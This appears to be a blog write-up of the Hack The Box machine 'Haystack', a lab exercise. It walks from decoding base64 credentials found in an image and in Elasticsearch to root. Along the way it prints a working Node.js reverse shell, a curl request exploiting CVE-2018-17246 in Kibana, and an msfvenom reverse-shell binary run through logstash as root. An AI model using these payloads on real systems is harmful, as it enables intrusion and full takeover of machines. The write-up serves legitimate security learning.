HTB – Haystack Writeup

Haystack was a fun easy box over on HTB. Although perhaps only easy if you were at least aware of the tech stack being used on the machine. The initial path to user is perhaps not realistic but a fun mix of steg and research into elasticsearch in order to get credentials. This if then followed up by continuing to exploit other related services in the form of Kibana and finally log stash.

Initial nmap scans didnt reveal too much. Closer inspection showed two interesting things.

Port 80 was just hosting a flat image and port 9200 was being used to host an open elasticsearch service. I started with the image. Any flat random image on hack the box deserves a little attention. I started by running strings on the image, which turned up something interesting…

Although most of it looked like the usual image garbage the last line stuck out like a sore thumb. So I ran it through a quick base64 decode.

 echo -n bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
 
 la aguja en el pajar es "clave"  

Translated:  the key is clave 

Okay nothing major but a step in the right direction. Running a basic broad elasticsearch didn’t turn up much.

A list of users / employers and various bits of information but nothing of great interest. But if we use the “key” discovered earlier in the search.

We end up with a quotes db and some further spanish for translation.

 "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
 
 "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" 

Again once translated and the base64 decoded we end up with:

user : security 
password : spanish.is.key

As there were no login fields or anything of interest turned up on the website, the next guess is to try these credentials with SSH.

Now we have user flag and user access to the machine. Basic enumeration shows us more of the stack running on the box. We can see a user kibana running a number of services. Whilst googling around about exploits for kibana and also logstash I come across the following: https://github.com/mpgn/CVE-2018-17246

This exploit when paired with a upload vulnerability can be chained to achieve code execution. As we have write access to the machine it should be fairly straightforward to create a javascript reverse shell and then call it with the poc provided. Local access is even more useful as the port is only accessible locally. We could port forward this and attack externally or simply use curl to trigger the exploit.

 (function(){
     var net = require("net"),
         cp = require("child_process"),
         sh = cp.spawn("/bin/sh", []);
     var client = new net.Socket();
     client.connect(ATTACKINGPORT, "ATTACKINGIP", function(){
         client.pipe(sh.stdin);
         sh.stdout.pipe(client);
         sh.stderr.pipe(client);
     });
     return /a/; // Prevents the Node.js application form crashing
 })(); 

Payload all the things comes up trumps as always and we can use a simple javascript reverse shell. Create this in /tmp and save it.

 curl "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js"
 

A simple curl command will run the javascript payload. Ensure you have a shell to catch it.

Now we are the user Kibana. Still no access to root however but we can now look a bit more closely at the logstash application.

 ps -ef | grep logstash  

Looking at the running process we can see the path to the logstash settings.

Having a closer look at the conf files for logstash starts to give us an idea of what’s going on.

 input {
     file {
         path => "/opt/kibana/logstash_*" <-- will run anything in this folder every 10 seconds(ish)
         start_position => "beginning"
         sincedb_path => "/dev/null"
         stat_interval => "10 second"
         type => "execute"
         mode => "read"
     }
 } 

The logstash config is executing files called logstash_*ANYTHING* in the kibana directory. As we now have write access to this location we may be able to inject a file to return a shell.

Logstash works using filters to parse and handle logs and files. A closer look at the filter settings and some googling (https://www.elastic.co/blog/a-practical-introduction-to-logstash) show that if the file is created in the correct format whatever falls in commando should be executed by logstash which is running as root.

 filter {
     if [type] == "execute" {
         grok {
             match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } --> Ejecutar comando : {command}
         }
     }
 } 

So the correct format for a working file payload should read

Ejecutar comando : /location/of/malicious/file.evil

I could create a bash reverse shell script or any other simple reverse shell. But often when passing a file and executing like this it’s easier to simply create a binary using msfvenom and have the application launch it. So create a malicious binary and copy it to a location on the machine.

 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.237 LPORT=9090 -f elf -o shell 

 scp shell security@10.10.10.115:/tmp 

Ensure as the user security that you change the permissions so any user can run the binary.

Now to create the file for logstash to parse.

 vi /opt/kibana/logstash_shellmeup
 
 Ejecutar comando : /tmp/shell 

 chmod +x /opt/kibana/logstash_shellmeup

Start a listener on whatever port you specified with msfvenom, then wait.

Collect your root shell and flag.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s